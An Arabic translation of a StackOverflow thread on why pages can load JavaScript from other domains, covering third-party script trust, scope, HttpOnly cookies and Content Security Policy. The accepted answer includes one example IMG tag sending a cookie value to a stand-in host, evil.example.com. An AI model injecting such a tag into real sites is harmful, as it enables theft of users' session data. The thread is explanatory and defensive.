لماذا يمكننا الارتباط بملفات JS على مجال آخر؟

StackOverflow https://stackoverflow.com/questions/2068595

  •  20-09-2019
  •  | 
  •  

سؤال

لماذا عندما نربط ملف JavaScript على X.com من y.com (على سبيل المثال Google Analytics أو jQuery) ، فهذا لا يتسبب في أي مشكلات أمان في المجال المتقاطع؟

علي سبيل المثال:

في y.com/index.html لدينا:

<script type="text/javascript" src="http://x.com/jsfile.js" />

كيف يمكننا أن نعرف متى يكون هذا جيدًا للقيام به ومتى لا يكون ذلك؟

هل كانت مفيدة؟

المحلول

لديها القدرة على أن تكون حفرة أمنية رئيسية لذلك عليك الوثوق بهذا الموقع الذي يستضيف ملف JavaScript.

على سبيل المثال ، يمكن لهذا الرمز ضخ المزيد من علامات البرنامج النصي وعلامات IMG في موقعك يمكن أن ينقل البيانات الحساسة إلى طرف ثالث.

يمكن أن يكون تعليق ديفيد حول نفس سياسة الأصل مضللة. هناك طريقة كلاسيكية لتنقل البيانات إلى موقع بعيد هي إدراج علامة IMG إلى مجال بعيد:

<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info />

إذا تم تغيير رمز JavaScript على المضيف عن بُعد لحقن علامة IMG ديناميكيًا مثل هذا ، فقد يكون لموقعك ثقب أمان. هناك تخفيفات لبعض هذه المشكلات مثل استخدام ملفات تعريف الارتباط HTTP فقط ، والتي لا يمكن الوصول إليها عبر JavaScript.

مثال أنظمة التحليلات هو مثال رائع. عليك أن تثق في أن المزود لن يأخذ أي بيانات حساسة مثل ملفات تعريف الارتباط الخاصة بك وإرسالها إلى موقع بعيد. تحتاج أيضًا إلى الوثوق بالمزود هُم النظام آمن وأن المتسلل لم يستطع تغيير ملفات JavaScript على خوادمه. تعمل أنظمة التحليلات عمومًا باستخدام هذه التقنيات نفسها ، ولكن نأمل أن تستخدمها من أجل الخير وليس الشر. إلى حد ما ، لا يختلف الأمر عن القلق بشأن ما إذا كان مطوروك يكتبون رمزًا جيدًا وآمنًا وما إذا كانوا يقدمون الباب الخلفي السري.

بما يخص لماذا يُسمح به ، إنه مجرد تاريخي. لم يتم تصميم الويب على الإطلاق مع وضع الأمان في الاعتبار. سواء أكان هجومًا من CSRF أو هجمات إعادة التشغيل أو هجمات XSS ، فهذه كلها عيوب أساسية في تصميم الويب التي أصبحت الآن مخاوف لمطوري الويب.

نصائح أخرى

من أين تأتي البيانات غير ذات صلة ، فهو النطاق الذي يتم استخدامه مهمًا.

أنت فقط تحصل على البرنامج النصي من مجال مختلف ، لا يزال يعمل في نطاق صفحتك الخاصة بحيث لا يتمتع بأي وصول إلى الموارد في المجال من حيث تم تحميله.

في الموقف الذي لديك مشكلات في المجال المتقاطع ، مثل iFrame يحتوي على صفحة من مجال مختلف ، لديك نطاقان مختلفان. تعمل الصفحة الموجودة في iFrame في نطاق المجال الذي تم تحميله منه ، بحيث يمكنها الوصول إلى الموارد في هذا المجال ، لكنها لا تستطيع الوصول إلى أي شيء في الصفحة التي تستضيف iFrame لأن هذا نطاق مختلف.

(ملاحظة: لا أعرف ما إذا كان مصطلح "النطاق" يستخدم عادة في هذا السياق ، فقد يكون هناك مصطلح يصفه بشكل أفضل.)

لا أعرف لماذا يمكننا القيام بذلك. ولكن يمكنك منع حدوث ذلك باستخدام سياسة أمان المحتوى (CSP) ، وهو رأس HTTP الذي تم إرساله بواسطة تطبيق الويب الخاص بك يعلن أنه لا ينبغي تحميل JavaScript إلا من المجالات التي تسمح بها صراحة.

مرخصة بموجب: CC-BY-SA مع الإسناد
لا تنتمي إلى StackOverflow
scroll top